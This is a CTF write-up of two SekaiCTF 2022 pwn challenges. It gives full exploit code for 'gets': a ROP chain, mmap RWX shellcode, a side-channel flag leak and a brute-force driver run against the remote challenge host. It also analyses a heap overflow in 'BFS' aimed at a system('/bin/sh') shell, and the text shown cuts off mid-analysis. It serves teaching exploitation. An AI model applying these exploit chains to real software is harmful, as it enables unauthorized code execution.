2022-sekai-ctf-pwn-wp

> **Note**: writeup for `gets` and `BFS`

This ctf game meets The National Day, so I don't have enough time to play.

If you have any questions about my writeup, please email me, my email address: `ch22166@163.com`.

If images are not loaded, you can click here to download the PDF.

1 gets

- first blood
- spend `5` hours

It's a simple challenge, only do `gets` at `main` function.

All stages in summary :

- prepare ropchain data at `.bss`
- rop attack to call `mmap`, allocate an `rwx` page
- `gets(rwx_page)` and jmp to run shellcode
- leak flag by side-channel attack trick

The detail information of each stage is following.

1-1 get limited gadgets for binary

This challenge is just about `ROP` attack, but it's more complicated than other normal `ROP` challenges. Because there are not enough gadgets to use. No `csu` gadgets and only two `ppr` gadgets exist:

```
0x000000000040114d: pop rbp; ret;
0x000000000040116a: pop rdi; ret;
```

Fortunately, the magic gadget `add dword ptr [rbp - 0x3d], ebx ; nop ; ret` can be used, its opcode is `015dc3`. To find this gadget by the command: `ropper -f ./chall --opcode 015dc3`。

In fact, the magic gadget is powerful, we can change the content of the address if `rbp` and `rbx` register is controlled. And we don't need to leak any address, since the base address makes no difference for `add` operator. Now, we can control `rbp` by `pop rbp; ret`, and we need to find a gadget to control `rbx` register.

1-2 find gadgets to control rbx register

As we know, there're many glibc address left at `stack` when a function is called. So, if we do stack pivoting by `leave; ret`, move the stack to `bss` segment, call `gets` again, the glibc address will be left at `.bss`. Okay, let's do it and observe the data on stack:

```
0c:0060│  0x404380 —▸ 0x7f2b2e0c0514 (_IO_getline_info+292) ◂— mov    rcx, qword ptr [rsp + 8]
0d:0068│  0x404388 ◂— 0x0
0e:0070│  0x404390 —▸ 0x945663 ◂— 0x9e6ac
0f:0078│  0x404398 ◂— 0x0
10:0080│  0x4043a0 ◂— 0x0
11:0088│  0x4043a8 ◂— 0x0
12:0090│  0x4043b0 —▸ 0x404788 ◂— 0x6161616261616161 ('aaaabaaa')
13:0098│  0x4043b8 —▸ 0x7f2b2e259aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
14:00a0│  0x4043c0 —▸ 0x7f2b2e25a870 (stdin) —▸ 0x7f2b2e259aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
15:00a8│  0x4043c8 ◂— 0x0
16:00b0│  0x4043d0 —▸ 0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401130 (__do_global_dtors_aux) ◂— endbr64
17:00b8│  0x4043d8 —▸ 0x7f2b2e2c9040 (_rtld_global) —▸ 0x7f2b2e2ca2e0 ◂— 0x0
18:00c0│  0x4043e0 —▸ 0x7f2b2e0c06c6 (gets+294) ◂— mov    rcx, qword ptr [r12]
19:00c8│  0x4043e8 ◂— 0x0
1a:00d0│  0x4043f0 ◂— 0x0
1b:00d8│  0x4043f8 ◂— 0x0
1c:00e0│  0x404400 ◂— 0x0
1d:00e8│  0x404408 —▸ 0x404500 ◂— 0x0
1e:00f0│  0x404410 —▸ 0x7fff5b8843e8 —▸ 0x7fff5b8847eb ◂— '/home/roderick/hack/gets/share/chall'
1f:00f8│  0x404418 —▸ 0x40121b (main) ◂— push   rbp
20:0100│  0x404420 —▸ 0x40114d (__do_global_dtors_aux+29) ◂— pop    rbp
21:0108│  0x404428 —▸ 0x404778 ◂— 0x0
22:0110│  0x404430 —▸ 0x401219 (sandbox+170) ◂— leave
```

to disassemble at `0x7f2b2e0c0514 (_IO_getline_info+292)`:

```
pwndbg> tele 0x404380
00:0000│  0x404380 —▸ 0x7f2b2e0c0514 (_IO_getline_info+292) ◂— mov    rcx, qword ptr [rsp + 8]
01:0008│  0x404388 ◂— 0x0
02:0010│  0x404390 —▸ 0x945663 ◂— 0x9e6ac
03:0018│  0x404398 ◂— 0x0
04:0020│  0x4043a0 ◂— 0x0
05:0028│  0x4043a8 ◂— 0x0
06:0030│  0x4043b0 —▸ 0x404788 ◂— 0x6161616261616161 ('aaaabaaa')
07:0038│  0x4043b8 —▸ 0x7f2b2e259aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
pwndbg> x /24i 0x7f2b2e0c0514
   0x7f2b2e0c0514 <__GI__IO_getline_info+292>:  mov    rcx,QWORD PTR [rsp+0x8]
   0x7f2b2e0c0519 <__GI__IO_getline_info+297>:  lea    rax,[rbp+rbx*1+0x0]
   0x7f2b2e0c051e <__GI__IO_getline_info+302>:  mov    QWORD PTR [r12+0x8],rcx
   0x7f2b2e0c0523 <__GI__IO_getline_info+307>:  add    rsp,0x28
   0x7f2b2e0c0527 <__GI__IO_getline_info+311>:  pop    rbx
   0x7f2b2e0c0528 <__GI__IO_getline_info+312>:  pop    rbp
   0x7f2b2e0c0529 <__GI__IO_getline_info+313>:  pop    r12
   0x7f2b2e0c052b <__GI__IO_getline_info+315>:  pop    r13
   0x7f2b2e0c052d <__GI__IO_getline_info+317>:  pop    r14
   0x7f2b2e0c052f <__GI__IO_getline_info+319>:  pop    r15
   0x7f2b2e0c0531 <__GI__IO_getline_info+321>:  ret
```

control rbx and rbp

Once `r12` is writable, we can do `stack pivot` and call this gadget to control `rbx` register, and we're able to use `magic gadget` to change other libc-address left at `.bss`.

In above image, the layout of `rop` data should be:

```
pop rbp; ret
0x404378
leave; ret
```

And we need to put data at `0x404388` before doing `stack pivot`, just input by `gets`:

```
pop rdi; ret
0x404388
elf.plt.gets
```

```
R12  0x7fff09aa8838 —▸ 0x7fff09aa97eb ◂— '/home/roderick/hack/gets/share/chall'
R13  0x40121b (main) ◂— push   rbp
R14  0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401130 (__do_global_dtors_aux) ◂— endbr64
R15  0x7faabe1c3040 (_rtld_global) —▸ 0x7faabe1c42e0 ◂— 0x0
*RBP  0x0
*RSP  0x404780 —▸ 0x7faabdfba514 (_IO_getline_info+292) ◂— mov    rcx, qword ptr [rsp + 8]
*RIP  0x40121a (sandbox+171) ◂— ret
─────────────────────────────────[ DISASM ]─────────────────────────────────
   0x401219       <sandbox+170>         leave
 ► 0x40121a       <sandbox+171>         ret                                    <0x7faabdfba514; _IO_getline_info+292>
    ↓
   0x7faabdfba514 <_IO_getline_info+292>    mov    rcx, qword ptr [rsp + 8]
   0x7faabdfba519 <_IO_getline_info+297>    lea    rax, [rbp + rbx]
   0x7faabdfba51e <_IO_getline_info+302>    mov    qword ptr [r12 + 8], rcx
   0x7faabdfba523 <_IO_getline_info+307>    add    rsp, 0x28
   0x7faabdfba527 <_IO_getline_info+311>    pop    rbx
   0x7faabdfba528 <_IO_getline_info+312>    pop    rbp
   0x7faabdfba529 <_IO_getline_info+313>    pop    r12
   0x7faabdfba52b <_IO_getline_info+315>    pop    r13
   0x7faabdfba52d <_IO_getline_info+317>    pop    r14
─────────────────────────────────[ STACK ]─────────────────────────────────
```

At first, I choose to use `magic gadget` to change `0x7f2b2e0c0514 (_IO_getline_info+292)` to `0x7f2b2e0c0527 (_IO_getline_info+311)`. Because the `r12` register is not always writable.

Now, we get a gadget `pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15` in `.bss`, and we can prepare the data , then call the gadget by `leave; ret` to control `rbx/rbp` registers.

1-3 leave more glibc address at .bss

As we can control `rbx` and `rbp` register, the next stage is to do `stack pivot` again and again, to leave more glibc address at `.bss` area.

One area is used for build the final ropchain, as I find some gadgets to call `mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)`.

This gadget A nearby `setcontex` is used to control argument registers:

```
0x7fb4e78e1b56 <setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]
0x7fb4e78e1b5d <setcontext+301>:    push   rcx
0x7fb4e78e1b5e <setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]
0x7fb4e78e1b62 <setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]
0x7fb4e78e1b66 <setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]
0x7fb4e78e1b6d <setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]
0x7fb4e78e1b71 <setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]
0x7fb4e78e1b75 <setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]
0x7fb4e78e1b7c <setcontext+332>:    xor    eax,eax
0x7fb4e78e1b7e <setcontext+334>:    ret
```

This gadget B is used to control `rdx` register:

```
pwndbg> libc
libc : 0x7fb4e788e000
pwndbg> x /3i 0x90529+0x7fb4e788e000
   0x7fb4e791e529 <dlmopen_doit+105>:    pop    rdx
   0x7fb4e791e52a <dlmopen_doit+106>:    pop    rbx
   0x7fb4e791e52b <dlmopen_doit+107>:    ret
pwndbg>
```

Another area is used to call `gets` and input data:

```
pwndbg> tele 0x404a18 30
00:0000│ rsp 0x404a18 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
01:0008│     0x404a20 —▸ 0x404788 ◂— 0x9e6ac
02:0010│     0x404a28 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
03:0018│     0x404a30 —▸ 0x40114d (__do_global_dtors_aux+29) ◂— pop    rbp
04:0020│     0x404a38 —▸ 0x404778 ◂— 0x0
05:0028│     0x404a40 —▸ 0x401219 (sandbox+170) ◂— leave
06:0030│     0x404a48 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
07:0038│     0x404a50 —▸ 0x404788 ◂— 0x9e6ac
08:0040│     0x404a58 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
09:0048│     0x404a60 —▸ 0x40114d (__do_global_dtors_aux+29) ◂— pop    rbp
0a:0050│     0x404a68 —▸ 0x404778 ◂— 0x0
0b:0058│     0x404a70 —▸ 0x401219 (sandbox+170) ◂— leave
0c:0060│     0x404a78 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
0d:0068│     0x404a80 —▸ 0x4043c0 —▸ 0x7fb4e7aa8870 (stdin) —▸ 0x7fb4e7aa7aa0 (_IO_2_1_stdin_)
0e:0070│     0x404a88 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
0f:0078│     0x404a90 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
10:0080│     0x404a98 —▸ 0x4043e8 ◂— 0x0
11:0088│     0x404aa0 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
12:0090│     0x404aa8 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
13:0098│     0x404ab0 —▸ 0x404388 ◂— 0x0
14:00a0│     0x404ab8 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
15:00a8│     0x404ac0 —▸ 0x40114d (__do_global_dtors_aux+29) ◂— pop    rbp
16:00b0│     0x404ac8 —▸ 0x4043b0 —▸ 0x404788 ◂— 0x9e6ac
17:00b8│     0x404ad0 —▸ 0x401219 (sandbox+170) ◂— leave
18:00c0│     0x404ad8 ◂— 0x0
```

1-4 construct the final ropchain

If we want to modify the content of a glibc address left at `bss` segment , the steps are:

- input data by calling `get(address)` , prepare data for `rbx` and `rbp`
- `leave; ret` and call `pop rbx; pop rbx; ... ret`
- `magic gadget` to change the content of target address
- `leave; ret` to the specific area and do other things

The layout of final ropchain should be like:

```
pwndbg> tele 0x404780 20
00:0000│  0x404780 —▸ 0x7fb4e790e514 (_IO_getline_info+292) ◂— mov    rcx, qword ptr [rsp + 8]    mmap64
01:0008│  0x404788 ◂— 0x0
02:0010│  0x404790 —▸ 0x18b9312 ◂— 0x6161616261616161 ('aaaabaaa')
03:0018│  0x404798 ◂— 0x0
04:0020│  0x4047a0 ◂— 0x0
05:0028│  0x4047a8 ◂— 0x0
06:0030│  0x4047b0 —▸ 0x404400 —▸ 0x404500 ◂— 0x0                    gadget B
07:0038│  0x4047b8 —▸ 0x7fb4e7aa7aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
08:0040│  0x4047c0 —▸ 0x7fb4e7aa8870 (stdin) —▸ 0x7fb4e7aa7aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
09:0048│  0x4047c8 ◂— 0x0
0a:0050│  0x4047d0 —▸ 0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401130 (__do_global_dtors_aux) ◂— endbr64
0b:0058│  0x4047d8 —▸ 0x7fb4e7b17040 (_rtld_global) —▸ 0x7fb4e7b182e0 ◂— 0x0
0c:0060│  0x4047e0 —▸ 0x7fb4e790e6c6 (gets+294) ◂— mov    rcx, qword ptr [r12]
0d:0068│  0x4047e8 ◂— 0x0                                                gadget A
0e:0070│  0x4047f0 ◂— 0x0
0f:0078│  0x4047f8 ◂— 0x0
10:0080│  0x404800 ◂— 0x0
11:0088│  0x404808 —▸ 0x404b00 ◂— 0x0
12:0090│  0x404810 —▸ 0x7ffe047288c8 —▸ 0x7ffe047297eb ◂— '/home/roderick/hack/gets/share/chall'
13:0098│  0x404818 —▸ 0x40121b (main) ◂— push   rbp
pwndbg>
```

Control `rdx` register by gadget B, then the arguments registers can be controlled by gadget A, then do `stack pivot` to call mmap64. Finally, call `gets` to put `shellcode` at `rwx` mapping memory.

After doing `rop` again and again and again, we get the layout:

```
──────────────────────────────────────[ DISASM ]──────────────────────────
   0x401219       <sandbox+170>         leave
   0x40121a       <sandbox+171>         ret
    ↓
 ► 0x7f157223e529 <dlmopen_doit+105>    pop    rdx
   0x7f157223e52a <dlmopen_doit+106>    pop    rbx
   0x7f157223e52b <dlmopen_doit+107>    ret
    ↓
   0x40101a       <_init+26>            ret
    ↓
   0x40101a       <_init+26>            ret
    ↓
   0x7f1572201b56 <setcontext+294>      mov    rcx, qword ptr [rdx + 0xa8]
   0x7f1572201b5d <setcontext+301>      push   rcx
   0x7f1572201b5e <setcontext+302>      mov    rsi, qword ptr [rdx + 0x70]
   0x7f1572201b62 <setcontext+306>      mov    rdi, qword ptr [rdx + 0x68]
──────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x404380 34
00:0000│     0x404380 —▸ 0x7f15722ccbc0 (mmap64) ◂— endbr64          mmap64
01:0008│ rax 0x404388 —▸ 0x40116a (gadgets+4) ◂— pop    rdi
02:0010│     0x404390 ◂— 0xdead000
03:0018│     0x404398 —▸ 0x401060 (gets@plt) ◂— jmp    qword ptr [rip + 0x2f6a]
04:0020│     0x4043a0 ◂— 0xdead000
05:0028│     0x4043a8 ◂— 0x0                                           gadget B
06:0030│     0x4043b0 —▸ 0x404788 ◂— 0xfffffffffffd3490
07:0038│     0x4043b8 —▸ 0x7f157223e529 (dlmopen_doit+105) ◂— pop    rdx
08:0040│ rsp 0x4043c0 —▸ 0x4043e0 —▸ 0x7f1572201b56 (setcontext+294) ◂— mov    rcx, qword ptr [rdx + 0xa8]
09:0048│     0x4043c8 —▸ 0x4043e0 —▸ 0x7f1572201b56 (setcontext+294) ◂— mov    rcx, qword ptr [rdx + 0xa8]
0a:0050│     0x4043d0 —▸ 0x40101a (_init+26) ◂— ret
0b:0058│     0x4043d8 —▸ 0x40101a (_init+26) ◂— ret
0c:0060│     0x4043e0 —▸ 0x7f1572201b56 (setcontext+294) ◂— mov    rcx, qword ptr [rdx + 0xa8]
0d:0068│     0x4043e8 —▸ 0x40114d (__do_global_dtors_aux+29) ◂— pop    rbp
0e:0070│     0x4043f0 —▸ 0x404378 ◂— 0x0                                 gadget A
0f:0078│     0x4043f8 —▸ 0x401219 (sandbox+170) ◂— leave
10:0080│     0x404400 ◂— 0x6161616861616167 ('gaaahaaa')
11:0088│     0x404408 ◂— 0xffffffffffffffff
12:0090│     0x404410 ◂— 0x0
13:0098│     0x404418 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
14:00a0│     0x404420 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
15:00a8│     0x404428 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaa'
16:00b0│     0x404430 ◂— 'saaataaauaaavaaawaaaxaaa'
17:00b8│     0x404438 ◂— 'uaaavaaawaaaxaaa'
18:00c0│     0x404440 ◂— 'waaaxaaa'
19:00c8│     0x404448 ◂— 0xdead000
1a:00d0│     0x404450 ◂— 0x1000
1b:00d8│     0x404458 ◂— 0x6261616562616164 ('daabeaab')
1c:00e0│     0x404460 ◂— 0x6261616762616166 ('faabgaab')
1d:00e8│     0x404468 ◂— 0x7
1e:00f0│     0x404470 ◂— 'jaabkaab"'
1f:00f8│     0x404478 ◂— 0x22 /* '"' */
```

1-5 leak flag by side-channel attack

Only `read/open/mmap` are allowed.

```
roderick@e3fc309fb85b:~/hack/gets/share$ seccomp-tools dump ./chall
a
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0008
 0007: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
```

Leak the content of flag.txt by side-channel attack, the steps:

- open flag.txt
- read flag.txt
- compare flag.txt byte by byte
- wait for read if we guess right, otherwise kill the problem

Therefor, the shellcode is:

```
sc = """
push 0x1010101 ^ 0x747874
xor dword ptr [rsp], 0x1010101
mov rax, 0x2e67616c662f7265
push rax
mov rax, 0x73752f656d6f682f
push rax
push rsp
pop rdi
xor esi, esi
xor edx, edx
mov rax, 2 /* open flag.txt*/
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x60
mov rax, 0
syscall
cmp byte ptr [rsi + {}], {}
jnz $+14
nop
nop
xor edi, edi
xor edx, edx
mov dl, 0xf0
xor eax, eax
syscall
mov rax, 60
syscall
""".format(index, guess_chr)
```

The format of flag is `SEKAI\{[A-Z_]+\}`, so index starts at `6`.

1-6 EXP

`exp.py`:

```python
#!/usr/bin/env python3
# Date: 2022-10-01 20:48:27
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug Cmd: python3 exp.py -E "6,84" debug ./chall -t -b 0x401219

from pwncli import *
cli_script()

context.arch = "amd64"

io: tube = gift.io

bss_start = 0x404000
fake_rbp1 = bss_start + 0x800
fake_rbp2 = bss_start + 0x400

# 0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rdi_ret = 0x40116a
puts_plt = 0x401060
pop_rbp_ret = 0x40114d
```

```
leave_ret = 0x401219
ret = 0x40101a
magic_gadget = 0x40114c

# stack pivot and call gets to leave glibc address on bss
data = flat({
    40: [
        pop_rdi_ret,
        fake_rbp1,
        puts_plt,
        pop_rbp_ret,
        fake_rbp1,
        leave_ret
    ]
})
sl(data)

# stack pivot and call gets again
data = flat([
    fake_rbp1 + 0x300,
    pop_rdi_ret,
    fake_rbp2,
    puts_plt,
    pop_rbp_ret,
    fake_rbp2,
    leave_ret
])

sl(data)

target_addr1 = fake_rbp1 - 0x80 # pop rbx; pop rbp, r12 13 14 15
target_addr2 = fake_rbp2 - 0x20 # mov     rcx, [rdx+0A8h]
target_addr3 = fake_rbp2 - 0x80+0x38 # 0x90529: pop rdx; pop rbx; ret;
target_addr4 = fake_rbp2 - 0x80 # mmap
data = flat([
    fake_rbp2 + 0x100,
    pop_rdi_ret,
    target_addr1 + 8,
    puts_plt,
    pop_rbp_ret,
    target_addr1-8,
    leave_ret
])

sl(data)


# 0x8f4e4: mov rax, qword ptr [rdi + 0x68]; ret;
# first time to call magic gadget
data = flat({
    40: [
        0x13,
        target_addr1+0x3d,
        0, 0, 0, 0,
        magic_gadget,
        [ret] * 0x40,
        [
        pop_rdi_ret,
        target_addr1 + 8,
        puts_plt,
```

```
        pop_rbp_ret,
        target_addr1-8,
        leave_ret] * 3,
        [
        pop_rdi_ret,
        target_addr3 + 8,
        puts_plt,
        pop_rdi_ret,
        target_addr2 + 8,
        puts_plt,
        pop_rdi_ret,
        target_addr4 + 8,
        puts_plt,
        pop_rbp_ret,
        target_addr3-8,
        leave_ret
        ]

    ]
})
sl(data)

# 11EBC0 : mmap64
data = flat([
        0x11EBC0  - 0x80514 ,
        target_addr4+0x3d,
        0, 0, 0, 0,
        magic_gadget,
        pop_rbp_ret,
        0x404a10,
        leave_ret
    ]
)
sl(data)

# 0x90529: pop rdx; pop rbx; ret;
data = flat([
        0x90529 - 0x219aa0 + 0x100000000,
        target_addr3+0x3d,
        0, 0, 0, 0,
        magic_gadget,
        pop_rbp_ret,
        0x404a10+0x30,
        leave_ret
    ]
)
sl(data)

# 0x53b56: setcontext+XXX
data = flat([
        0x53B56 - 0x806c6,
        target_addr2+0x3d,
        0, 0, 0, 0,
        magic_gadget,
        pop_rbp_ret,
        0x404a10+0x30 * 2,
        leave_ret
    ]
)
sl(data)
```

```python


sl(p64(target_addr2)*2 + p64(ret) * 0x1 + p64(ret)[:6])


# mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)
sl(flat({
    0: pop_rbp_ret,
    8: target_addr4-8,
    0x10: leave_ret,
    0xa8-8: ret, # rcx
    0x70-8: 0x1000, # rsi
    0x68-8: 0xdead000, # rdi
    0x88-8: 7, # rdx
    0x98-8: 0x22, # rcx
    0x28-8: p64(0xffffffffffffffff), # r8
    0x30-8: 0, # r9
}))

# read and jump to run shellcode
sl(flat([
    pop_rdi_ret,
    0xdead000,
    puts_plt,
    0xdead000
]))

other_argv:str = gift['extra_argv']
index, guess_chr = other_argv.strip().split(",")
sc = """
push 0x1010101 ^ 0x747874
xor dword ptr [rsp], 0x1010101
mov rax, 0x2e67616c662f7265
push rax
mov rax, 0x73752f656d6f682f
push rax
push rsp
pop rdi
xor esi, esi
xor edx, edx
mov rax, 2 /* open flag.txt*/
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x60
mov rax, 0
syscall
cmp byte ptr [rsi + {}], {}
jnz $+14
nop
nop
xor edi, edi
xor edx, edx
mov dl, 0xf0
xor eax, eax
syscall
mov rax, 60
syscall
""".format(index, guess_chr)

```

```python
sl(asm(sc))

t1 = time.time()
io.can_recv_raw(timeout=3)
t2 = time.time()

if t2 - t1 < 1:
    ic()
    exit(1)
else:
    print("guess right: ", guess_chr)
    ic()
    exit(0)
```

and `bruteforce.py`:

```python
#!/usr/bin/env python3
import os, string
cmd = "python3 exp_cli_remote.py -E \"{},{}\" re challs.ctf.sekai.team:4000 -nl"

flag = "SEKAI{"
index = 6
for x in range(index, index+0x40):
    for char in string.ascii_uppercase + "_}":
        cmd_ = cmd.format(x, ord(char))
        if os.system(cmd_) == 0:
            flag += char
            print(flag)
            if char == "}":
                exit(0)
            break
```

Please install [RoderickChan/pwncli: Do pwn by cli (github.com)] if you want to use my exp, then `python3 bruteforce.py` to get the flag.

```
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
[*] INFO  connect challs.ctf.sekai.team port 4000 success!
guess right:  125
SEKAI{IT_KNDA_GETS_COMPLICATED}
roderick@e3fc309fb85b:~/hack/gets/share$
```

The remote flag is `SEKAI{IT_KINDA_GETS_COMPLICATED}`. I don't know why I cannot get `I` in the word `KINDA`......it's magic.

2 BFS

- second blood
- spend `3.5` hours

This challenge is about `C++ std::queue`. As long as you understand the mechanism of `queue`, you can solve the task quickly.

All steps in summary:

- heap fengshui using `std:queue` pop and push
- leak heap address by `parent` array overflow
- tcachebin poisoning to allocate at `.bss` and to modify `adj_matrix`
- change the content of `got.plt` and call `system("/bin/sh")` when the program exits

2-1 analysis of program

As the source code is given, I will analyze the program based on that. It's BSF algorithm to find the short path in an undirected graph. The edge has no direction because it's adjacent matrix is symmetric.

I write my analysis on comment.

```
#include<vector>
#include<queue>
#include<utility>
#include<string>
#include<iostream>
#include <unistd.h>
#include <signal.h>

#define MAX_NUMBER_OF_NODES 256

std::queue<uint8_t> q;
uint8_t *vis = new uint8_t[MAX_NUMBER_OF_NODES];
uint8_t *parent = new uint8_t[MAX_NUMBER_OF_NODES];
uint8_t *adj_matrix = new uint8_t[MAX_NUMBER_OF_NODES*MAX_NUMBER_OF_NODES];

void sig_alarm_handler(int signum)  {
    std::cout << "Connect Timeout" << std::endl ;
    exit(1);
}

void init() {
    setvbuf(stdout,0,2,0);
    signal(SIGALRM,sig_alarm_handler);
    alarm(120);
}

void bfs(uint from, uint dest, uint as )  {
    uint tmp = 0;
    parent[from] = from; // root node of a path, whose parent node is itself --> overflow3
    q.push(from);
    vis[from] = 1; // --> overflow4
    while(!q.empty())   {
        tmp = q.front();
        q.pop();
        for (int i = 0; i < n; i++) {
            if(adj_matrix[tmp*MAX_NUMBER_OF_NODES + i] != 0 && vis[i] != 1) {
                vis[i] = 1;
                parent[i] = tmp;
                q.push(i);
```

```
                if (i == dest)
                    return;   // return, the nodes in the queue are not released
            }
        }
    }
    return;
}

int main(int argc, char const *argv[])
{
    init();
    std::string choice;
    uint q, n,k;
    uint from, dest, crawl;
    std::cin >> q;
    for (uint l = 0; l < q; l++) // input times for running
    {
        std::cin >> n >> k; // number of nodes and edges
        if(n > MAX_NUMBER_OF_NODES) {
            exit(0);
        }
        for (size_t i = 0; i < n; i++)
            for (size_t j = 0; j < n; j++)
                adj_matrix[i*MAX_NUMBER_OF_NODES + j] = 0; // adjacent matrix initial
        for (size_t i = 0; i < n; i++)
            vis[i] = 0; // visited matrix initial
        for (size_t i = 0; i < k; i++)
        {
            std::cin >> from >> dest; // input for adjacent matrix --> overflow1
            adj_matrix[from*MAX_NUMBER_OF_NODES + dest]++;
            adj_matrix[dest*MAX_NUMBER_OF_NODES + from]++;
        }
        std::cin >> from >> dest; // from node and dest node
        bfs(from, dest, n);
        crawl = dest;
        std::cout << "Testcase #" << l << ": ";
        while(parent[crawl] != crawl)   { // find path and print the path --> overflow2
            std::cout << crawl << " ";
            crawl = parent[crawl];
        }
        std::cout << crawl << std::endl;
    }
    return 0;
}
```

It's obvious that the vulnerability of this program is that `from` and `dest` are not checked, and we can input large number to cause overflow.

There're two vulns for read and write:

Write: At `overflow2` I labeled, one byte is leaked.

Read: At `overflow1`, we can change the content of the address without leaking, like using a `add` gadgets.

The type of these two variables is `uint`, as we can overflow to read and write data at higher address, but cannot read/write lower address.

The layout of heap in this program after initial:

```
low address ——> queue
                vis
                parent
high address——> adj_matrix
```

In order to leak and write useful data, we need to allocate chunks after `adj_matrix`. So how to trigger `malloc` and `free`, the answer is in `std:queue`.

2-2 mechanism of std::queue

I also don't know the mechanism of `std:queue` when I started to solve the task, so I write a test program to trace the chunk operations when `std::queue` is used.

```
#include <iostream>
#include <queue>
using namespace std;

std::queue<uint8_t> global_q;
int main()
{
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    puts("push push!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.push(i);
        // printf("push %d\n", i);
    }

    puts("push push!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.push(i);
        // printf("push %d\n", i);
    }

    puts("pop pop!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.pop();
    }
    puts("pop pop!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.pop();
    }

    puts("push push!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.push(i);
        // printf("push %d\n", i);
    }

    puts("push push!!!");
    for (size_t i = 0; i < 256; i++)
    {
```

```
        global_q.push(i);
        // printf("push %d\n", i);
    }

    puts("pop pop!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.pop();
    }
    puts("pop pop!!!");
    for (size_t i = 0; i < 256; i++)
    {
        global_q.pop();
    }

    puts("end end!!!");
    return 0;
}
```

Compile the file and use [Arinerron/heaptrace: helps visualize heap operations for pwn and debugging (github.com)](https://github.com/Arinerron/heaptrace) to analyze.

```
$ g++ ./test.cpp -o test -g && heaptrace ./test
============================================================================================ BEGIN HEAPTRACE ========================
Attempting to identify function signatures in /usr/lib/x86_64-linux-gnu/libc-2.31.so...
* found malloc at 0x9a0e0.
* found free at 0x9a6d0.
* found calloc at 0x9bb10.
* found realloc at 0x9aa70.
heaptrace warning: Binary appears to be stripped or does not use the glibc heap; heaptrace was not able to resolve any symbols. Please spe

      heaptrace --symbols 'malloc=libc+0x100,free=libc+0x200,realloc=bin+123' ./binary

See the help guide at https://github.com/Arinerron/heaptrace/wiki/Dealing-with-a-Stripped-Binary
=====================================================================================================================================

... #1: malloc(0x40)                                = 0x55555556ceb0
... #2: malloc(0x200)                               = 0x55555556cf00
push push!!!
